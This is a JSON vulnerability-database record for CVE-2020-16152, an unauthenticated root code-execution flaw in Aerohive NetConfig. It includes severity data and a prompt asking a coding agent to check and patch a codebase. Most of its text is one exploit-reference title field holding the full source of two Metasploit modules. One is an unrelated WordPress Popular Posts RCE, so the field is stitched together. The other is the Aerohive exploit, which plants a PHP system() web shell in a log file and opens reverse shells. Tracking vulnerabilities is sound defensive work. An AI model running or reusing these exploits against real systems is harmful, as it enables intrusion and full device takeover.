{"answers":{"affected":"It affects 1 product.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2020-16152 exists.","fix":"No fix has been published for CVE-2020-16152 yet. Limit exposure of the affected software until one is available.","what":"CVE-2020-16152 is a critical code injection vulnerability in n/a, published on 14 Nov 2021. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2020-16152 and fix it if it is affected.\n\nWhat it is: CVE-2020-16152 is a critical code injection vulnerability in n/a, published on 14 Nov 2021. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2020-16152 exists.\n\nAffected product: n/a. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2020-16152/ (Markdown: https://insights.sbomify.com/CVE-2020-16152/index.md)","id":"CVE-2020-16152","markdown":"https://insights.sbomify.com/CVE-2020-16152/index.md","name":"CVE-2020-16152","record":{"aliases":["GHSA-r23h-9vch-4xm4"],"analysis":{"component_type":"network_device","fix_type":"upgrade","impacts":["code_execution","privilege_escalation"],"network_reachable":"yes","non_default_config":false,"product_category":"ExtremeWireless Aerohive","requires_auth":"none","summary":"Attackers can execute arbitrary PHP code as root on ExtremeWireless Aerohive devices by injecting code into log files and accessing them via the web interface.","user_interaction":"not_required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"mitre","cpe":[{"product":"aerohive_netconfig","vendor":"extremenetworks"}],"cvss":{"score":9.8,"severity":"critical","source":"nvd","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[{"id":"CWE-829","name":"Inclusion of Functionality from Untrusted Control Sphere"}],"description":"The NetConfig UI administrative interface in Extreme Networks ExtremeWireless Aerohive HiveOS and IQ Engine through 10.0r8a allows attackers to execute PHP code as the root user via remote HTTP requests that insert this code into a log file and then traverse to that file.","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":"2020-02-17","github_poc":2,"max_poc_stars":17,"metasploit":1,"nuclei":0,"refs":[{"date":"2022-01-02T08:08:00Z","kind":"github_poc","ref":"https://github.com/Nate0634034090/nate158g-m-w-n-l-p-d-a-o-e","stars":17,"title":"### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule \u003c Msf::Exploit::Remote  Rank = NormalRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  include Msf::Exploit::Remote::HTTP::Wordpress  def initialize(info = {})    super(      update_info(        info,        'Name' =\u003e 'Wordpress Popular Posts Authenticated RCE',        'Description' =\u003e %q{          This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.          The FQDN must also not resolve to a reserved address (192/172/127/10).  The server must also respond to a HEAD request          for the payload, prior to getting a GET request.          This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts \u003c= 5.3.2.          The exploit chain is rather complicated.  Authentication is required and 'gd' for PHP is required on the server.          Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.          A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once          the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded          which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a          double extension ('.gif.php') allowing for arbitrary PHP code to be executed.        },        'License' =\u003e MSF_LICENSE,        'Author' =\u003e [          'h00die', # msf module          'Simone Cristofaro', # edb          'Jerome Bruandet' # original analysis        ],        'References' =\u003e [          [ 'EDB', '50129' ],          [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],          [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],          [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],          [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],          [ 'CVE', '2021-42362' ]        ],        'Platform' =\u003e ['php'],        'Stance' =\u003e Msf::Exploit::Stance::Aggressive,        'Privileged' =\u003e false,        'Arch' =\u003e ARCH_PHP,        'Targets' =\u003e [          [ 'Automatic Target', {}]        ],        'DisclosureDate' =\u003e '2021-06-11',        'DefaultTarget' =\u003e 0,        'DefaultOptions' =\u003e {          'PAYLOAD' =\u003e 'php/meterpreter/reverse_tcp',          'WfsDelay' =\u003e 3000 # 50 minutes, other visitors to the site may trigger        },        'Notes' =\u003e {          'Stability' =\u003e [ CRASH_SAFE ],          'SideEffects' =\u003e [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],          'Reliability' =\u003e [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('USERNAME', [true, 'Username of the account', 'admin']),      OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560      OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),      # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584      OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),    ]  end  def check    return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?    checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')    if checkcode == CheckCode::Safe      print_error('Popular Posts not a vulnerable version')    end    return checkcode  end  def trigger_payload(on_disk_payload_name)    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path),      'keep_cookies' =\u003e 'true'    )    # loop this 5 times just incase there is a time delay in writing the file by the server    (1..5).each do |i|      print_status(\"Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5\")      Rex.sleep(10)      res = send_request_cgi(        'uri' =\u003e normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),        'keep_cookies' =\u003e 'true'      )    end    if res \u0026\u0026 res.code == 404      print_error('Failed to find payload, may not have uploaded correctly.')    end  end  def on_request_uri(cli, request, payload_name, post_id)    if request.method == 'HEAD'      print_good('Responding to initial HEAD request (passed check 1)')      # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length      # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.      # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught      return send_response(cli, '', { 'Content-Type' =\u003e 'image/gif', 'Content-Length' =\u003e \"GIF#{payload.encoded}\".length.to_s })    end    if request.method == 'GET'      on_disk_payload_name = \"#{post_id}_#{payload_name}\"      register_file_for_cleanup(on_disk_payload_name)      print_good('Responding to GET request (passed check 2)')      send_response(cli, \"GIF#{payload.encoded}\", 'Content-Type' =\u003e 'image/gif')      close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions      Rex.sleep(2) # wait for WP to finish all the checks it needs      trigger_payload(on_disk_payload_name)    end    print_status(\"Received unexpected #{request.method} request\")  end  def check_gd_installed(cookie)    vprint_status('Checking if gd is installed')    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' =\u003e 'GET',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'vars_get' =\u003e {        'page' =\u003e 'wordpress-popular-posts',        'tab' =\u003e 'debug'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    res.body.include? ' gd'  end  def get_wpp_admin_token(cookie)    vprint_status('Retrieving wpp_admin token')    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' =\u003e 'GET',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'vars_get' =\u003e {        'page' =\u003e 'wordpress-popular-posts',        'tab' =\u003e 'tools'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /\u003cinput type=\"hidden\" id=\"wpp-admin-token\" name=\"wpp-admin-token\" value=\"([^\"]*)/ =~ res.body    Regexp.last_match(1)  end  def change_settings(cookie, token)    vprint_status('Updating popular posts settings for images')    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' =\u003e 'POST',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'vars_get' =\u003e {        'page' =\u003e 'wordpress-popular-posts',        'tab' =\u003e 'debug'      },      'vars_post' =\u003e {        'upload_thumb_src' =\u003e '',        'thumb_source' =\u003e 'custom_field',        'thumb_lazy_load' =\u003e 0,        'thumb_field' =\u003e 'wpp_thumbnail',        'thumb_field_resize' =\u003e 1,        'section' =\u003e 'thumb',        'wpp-admin-token' =\u003e token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /\u003cstrong\u003eSettings saved/ =~ res.body  end  def clear_cache(cookie, token)    vprint_status('Clearing image cache')    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),      'method' =\u003e 'POST',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'vars_get' =\u003e {        'page' =\u003e 'wordpress-popular-posts',        'tab' =\u003e 'debug'      },      'vars_post' =\u003e {        'action' =\u003e 'wpp_clear_thumbnail',        'wpp-admin-token' =\u003e token      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200  end  def enable_custom_fields(cookie, custom_nonce, post)    # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.    res = send_request_cgi!(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'post.php'),      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'method' =\u003e 'POST',      'vars_post' =\u003e {        'toggle-custom-fields-nonce' =\u003e custom_nonce,        '_wp_http_referer' =\u003e \"#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}\u0026action=edit\",        'action' =\u003e 'toggle-custom-fields'      }    )    /name=\"_ajax_nonce-add-meta\" value=\"([^\"]*)/ =~ res.body    Regexp.last_match(1)  end  def create_post(cookie)    vprint_status('Creating new post')    # get post ID and nonces    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true'    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    /name=\"_ajax_nonce-add-meta\" value=\"(?\u003cajax_nonce\u003e[^\"]*)/ =~ res.body    /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\\( \"(?\u003cwp_nonce\u003e[^\"]*)/ =~ res.body    /},\"post\":{\"id\":(?\u003cpost_id\u003e\\d*)/ =~ res.body    if ajax_nonce.nil?      print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this.  See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options \u003e Preferences \u003e Panels \u003e Additional \u003e Custom Fields.')      /name=\"toggle-custom-fields-nonce\" value=\"(?\u003ccustom_nonce\u003e[^\"]*)/ =~ res.body      ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)    end    unless ajax_nonce.nil?      vprint_status(\"ajax nonce: #{ajax_nonce}\")    end    unless wp_nonce.nil?      vprint_status(\"wp nonce: #{wp_nonce}\")    end    unless post_id.nil?      vprint_status(\"Created Post: #{post_id}\")    end    fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce \u0026\u0026 wp_nonce \u0026\u0026 post_id    # publish new post    vprint_status(\"Writing content to Post: #{post_id}\")    # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'index.php'),      'method' =\u003e 'POST',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'ctype' =\u003e 'application/json',      'accept' =\u003e 'application/json',      'vars_get' =\u003e {        '_locale' =\u003e 'user',        'rest_route' =\u003e normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)      },      'data' =\u003e {        'id' =\u003e post_id,        'title' =\u003e Rex::Text.rand_text_alphanumeric(20..30),        'content' =\u003e \"\u003c!-- wp:paragraph --\u003e\\n\u003cp\u003e#{Rex::Text.rand_text_alphanumeric(100..200)}\u003c/p\u003e\\n\u003c!-- /wp:paragraph --\u003e\",        'status' =\u003e 'publish'      }.to_json,      'headers' =\u003e {        'X-WP-Nonce' =\u003e wp_nonce,        'X-HTTP-Method-Override' =\u003e 'PUT'      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '\"status\":\"publish\"'    return post_id, ajax_nonce, wp_nonce  end  def add_meta(cookie, post_id, ajax_nonce, payload_name)    payload_url = \"http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}\"    vprint_status(\"Adding malicious metadata for redirect to #{payload_url}\")    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),      'method' =\u003e 'POST',      'cookie' =\u003e cookie,      'keep_cookies' =\u003e 'true',      'vars_post' =\u003e {        '_ajax_nonce' =\u003e 0,        'action' =\u003e 'add-meta',        'metakeyselect' =\u003e 'wpp_thumbnail',        'metakeyinput' =\u003e '',        'metavalue' =\u003e payload_url,        '_ajax_nonce-add-meta' =\u003e ajax_nonce,        'post_id' =\u003e post_id      }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200    fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? \"\u003ctr id='meta-\"  end  def boost_post(cookie, post_id, wp_nonce, post_count)    # redirect as needed    res = send_request_cgi(      'uri' =\u003e normalize_uri(target_uri.path, 'index.php'),      'keep_cookies' =\u003e 'true',      'cookie' =\u003e cookie,      'vars_get' =\u003e { 'page_id' =\u003e post_id }    )    fail_with(Failure::Unreachable, 'Site not responding') unless res    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301    print_status(\"Sending #{post_count} views to #{res.headers['Location']}\")    location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/\u003ctake this value\u003e/\u003cand anything after\u003e    (1..post_count).each do |_c|      res = send_request_cgi!(        'uri' =\u003e \"/#{location}\",        'cookie' =\u003e cookie,        'keep_cookies' =\u003e 'true'      )      # just send away, who cares about the response      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200      res = send_request_cgi(        # this URL varies from the POC on EDB, and is modeled after what the browser does        'uri' =\u003e normalize_uri(target_uri.path, 'index.php'),        'vars_get' =\u003e {          'rest_route' =\u003e normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')        },        'keep_cookies' =\u003e 'true',        'method' =\u003e 'POST',        'cookie' =\u003e cookie,        'vars_post' =\u003e {          '_wpnonce' =\u003e wp_nonce,          'wpp_id' =\u003e post_id,          'sampling' =\u003e 0,          'sampling_rate' =\u003e 100        }      )      fail_with(Failure::Unreachable, 'Site not responding') unless res      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201    end    fail_with(Failure::Unreachable, 'Site not responding') unless res  end  def get_top_posts    print_status('Determining post with most views')    res = get_widget    /\u003e(?\u003cviews\u003e\\d+) views\u003c/ =~ res.body    views = views.to_i    print_status(\"Top Views: #{views}\")    views += 5 # make us the top post    unless datastore['VISTS'].nil?      print_status(\"Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}\")      views = datastore['VISITS']    end    views  end  def get_widget    # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond    # which then would kill the exploit, so in this case we just keep trying.    (1..10).each do |_|      @res = send_request_cgi(        'uri' =\u003e normalize_uri(target_uri.path),        'keep_cookies' =\u003e 'true'      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    /data-widget-id=\"wpp-(?\u003cwidget_id\u003e\\d+)/ =~ @res.body    # load the widget directly    (1..10).each do |_|      @res = send_request_cgi(        'uri' =\u003e normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),        'keep_cookies' =\u003e 'true',        'vars_get' =\u003e {          'is_single' =\u003e 0        }      )      break unless @res.nil?    end    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200    @res  end  def exploit    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])    if cookie.nil?      vprint_error('Invalid login, check credentials')      return    end    payload_name = \"#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php\"    vprint_status(\"Payload file name: #{payload_name}\")    fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)    post_count = get_top_posts    # we dont need to pass the cookie anymore since its now saved into http client    token = get_wpp_admin_token(cookie)    vprint_status(\"wpp_admin_token: #{token}\")    change_settings(cookie, token)    clear_cache(cookie, token)    post_id, ajax_nonce, wp_nonce = create_post(cookie)    print_status('Starting web server to handle request for image payload')    start_service({      'Uri' =\u003e {        'Proc' =\u003e proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },        'Path' =\u003e \"/#{payload_name}\"      }    })    add_meta(cookie, post_id, ajax_nonce, payload_name)    boost_post(cookie, post_id, wp_nonce, post_count)    print_status('Waiting 90sec for cache refresh by server')    Rex.sleep(90)    print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')    res = get_widget    print_good('We made it to the top!') if res.body.include? payload_name    # if res.body.include? datastore['SRVHOSTNAME']    #  fail_with(Failure::UnexpectedReply, \"Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.\")    # end    # at this point, we rely on our web server getting requests to make the rest happen  endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule \u003c Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' =\u003e 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',        'Description' =\u003e %q{          This module exploits LFI and log poisoning vulnerabilities          (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a          build-242466 and older in order to achieve unauthenticated remote          code execution as the root user. NetConfig is the Aerohive/Extreme          Networks HiveOS administrative webinterface. Vulnerable versions          allow for LFI because they rely on a version of PHP 5 that is          vulnerable to string truncation attacks. This module leverages this          issue in conjunction with log poisoning to gain RCE as root.          Upon successful exploitation, the Aerohive NetConfig application          will hang for as long as the spawned shell remains open. Closing          the session should render the app responsive again.          The module provides an automatic cleanup option to clean the log.          However, this option is disabled by default because any modifications          to the /tmp/messages log, even via sed, may render the target          (temporarily) unexploitable. This state can last over an hour.          This module has been successfully tested against Aerohive NetConfig          versions 8.2r4 and 10.0r7a.        },        'License' =\u003e MSF_LICENSE,        'Author' =\u003e [          'Erik de Jong', # github.com/eriknl - discovery and PoC          'Erik Wynter' # @wyntererik - Metasploit        ],        'References' =\u003e [          ['CVE', '2020-16152'], # still categorized as RESERVED          ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code        ],        'DefaultOptions' =\u003e {          'SSL' =\u003e true,          'RPORT' =\u003e 443        },        'Platform' =\u003e %w[linux unix],        'Arch' =\u003e [ ARCH_ARMLE, ARCH_CMD ],        'Targets' =\u003e [          [            'Linux', {              'Arch' =\u003e [ARCH_ARMLE],              'Platform' =\u003e 'linux',              'DefaultOptions' =\u003e {                'PAYLOAD' =\u003e 'linux/armle/meterpreter/reverse_tcp',                'CMDSTAGER::FLAVOR' =\u003e 'curl'              }            }          ],          [            'CMD', {              'Arch' =\u003e [ARCH_CMD],              'Platform' =\u003e 'unix',              'DefaultOptions' =\u003e {                'PAYLOAD' =\u003e 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'              }            }          ]        ],        'Privileged' =\u003e true,        'DisclosureDate' =\u003e '2020-02-17',        'DefaultTarget' =\u003e 0,        'Notes' =\u003e {          'Stability' =\u003e [ CRASH_SAFE ],          'SideEffects' =\u003e [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],          'Reliability' =\u003e [ REPEATABLE_SESSION ]        }      )    )    register_options [      OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),      OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),    ]  end  def auto_clean_log    datastore['AUTO_CLEAN_LOG']  end  def check    res = send_request_cgi({      'method' =\u003e 'GET',      'uri' =\u003e normalize_uri(target_uri.path, 'index.php5')    })    unless res      return CheckCode::Unknown('Connection failed.')    end    unless res.code == 200 \u0026\u0026 res.body.include?('Aerohive NetConfig UI')      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')    end    version = res.body.scan(/action=\"login\\.php5\\?version=(.*?)\"/)\u0026.flatten\u0026.first    unless version      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')    end    begin      if Rex::Version.new(version) \u003c= Rex::Version.new('10.0r8a')        return CheckCode::Appears(\"The target is Aerohive NetConfig version #{version}\")      else        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')        return CheckCode::Safe(\"The target is Aerohive NetConfig version #{version}\")      end    rescue StandardError =\u003e e      return CheckCode::Unknown(\"Failed to obtain a valid Aerohive NetConfig version: #{e}\")    end  end  def poison_log    password = rand_text_alphanumeric(8..12)    @shell_cmd_name = rand_text_alphanumeric(3..6)    @poison_cmd = \"\u003c?php system($_POST['#{@shell_cmd_name}']);?\u003e\"    # Poison /tmp/messages    print_status('Attempting to poison the log at /tmp/messages...')    res = send_request_cgi({      'method' =\u003e 'POST',      'uri' =\u003e normalize_uri(target_uri.path, 'login.php5'),      'vars_post' =\u003e {        'login_auth' =\u003e 0,        'miniHiveUI' =\u003e 1,        'authselect' =\u003e 'Name/Password',        'userName' =\u003e @poison_cmd,        'password' =\u003e password      }    })    unless res      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')    end    unless res.code == 200 \u0026\u0026 res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')    end    print_status('Server responded as expected. Continuing...')  end  def on_new_session(session)    log_cleaned = false    if auto_clean_log      print_status('Attempting to clean the log file at /tmp/messages...')      print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')      begin        # We need remove the line containing the PHP system call from /tmp/messages        # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.        # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line        # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:        # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.        line_to_delete_file = \"/tmp/#{rand_text_alphanumeric(5..10)}\"        clean_messages_file = \"/tmp/#{rand_text_alphanumeric(5..10)}\"        cmds_to_clean_log = \"grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' \u003e #{line_to_delete_file}; \"\\        \"grep -vFf #{line_to_delete_file} /tmp/messages \u003e #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}\"        if session.type.to_s.eql? 'meterpreter'          session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'          session.sys.process.execute('/bin/sh', \"-c \\\"#{cmds_to_clean_log}\\\"\")          # Wait for cleanup          Rex.sleep 5          # Check for the PHP system call in /tmp/messages          messages_contents = session.fs.file.open('/tmp/messages').read.to_s          # using =~ here produced unexpected results, so include? is used instead          unless messages_contents.include?(@poison_cmd)            log_cleaned = true          end        elsif session.type.to_s.eql?('shell')          session.shell_command_token(cmds_to_clean_log.to_s)          # Check for the PHP system call in /tmp/messages          poison_evidence = session.shell_command_token(\"grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'\")          # using =~ here produced unexpected results, so include? is used instead          unless poison_evidence.include?(@poison_cmd)            log_cleaned = true          end        end      rescue StandardError =\u003e e        print_error(\"Error during cleanup: #{e.message}\")      ensure        super      end      unless log_cleaned        print_warning(\"Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages\")      end    end    if log_cleaned      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')    else      print_warning(\"Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\\n\\t#{@poison_cmd}\")      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')    end  end  def execute_command(cmd, _opts = {})    print_status('Attempting to execute the payload')    send_request_cgi({      'method' =\u003e 'POST',      'uri' =\u003e normalize_uri(target_uri.path, 'action.php5'),      'vars_get' =\u003e {        '_action' =\u003e 'list',        'debug' =\u003e 'true'      },      'vars_post' =\u003e {        '_page' =\u003e rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation        @shell_cmd_name =\u003e cmd      }    }, 0)    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')  end  def exploit    poison_log    if target.arch.first == ARCH_CMD      print_status('Executing the payload')      execute_command(payload.encoded)    else      execute_cmdstager(background: true)    end  endend"},{"date":"2020-08-30T12:18:12Z","kind":"github_poc","ref":"https://github.com/eriknl/CVE-2020-16152","stars":11,"title":"Explanation and PoC for CVE-2020-16152"},{"date":"2020-02-17","kind":"metasploit","ref":"exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce","stars":null,"title":"Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE"}],"tier":"weaponised"},"has_fix":null,"headline":"Code injection in n/a","id":"CVE-2020-16152","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":null,"products":[],"type":"code_injection","year":"2020"},"n_packages":0,"n_references":2,"next":{"headline":"Security feature bypass in n/a","id":"CVE-2020-16154"},"packages":[],"prev":{"headline":"Information disclosure in n/a","id":"CVE-2020-16150"},"products":["n/a"],"published":"2021-11-14","related":[],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"attribution","licence":"BSD-3-Clause","name":"Metasploit"},{"class":"open","licence":"CC0","name":"PoC-in-GitHub"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":"PUBLISHED","updated":"2024-08-04","vendors":["n/a"]},"summary":"Attackers can execute arbitrary PHP code as root on ExtremeWireless Aerohive devices by injecting code into log files and accessing them via the web interface.","url":"https://insights.sbomify.com/CVE-2020-16152/"}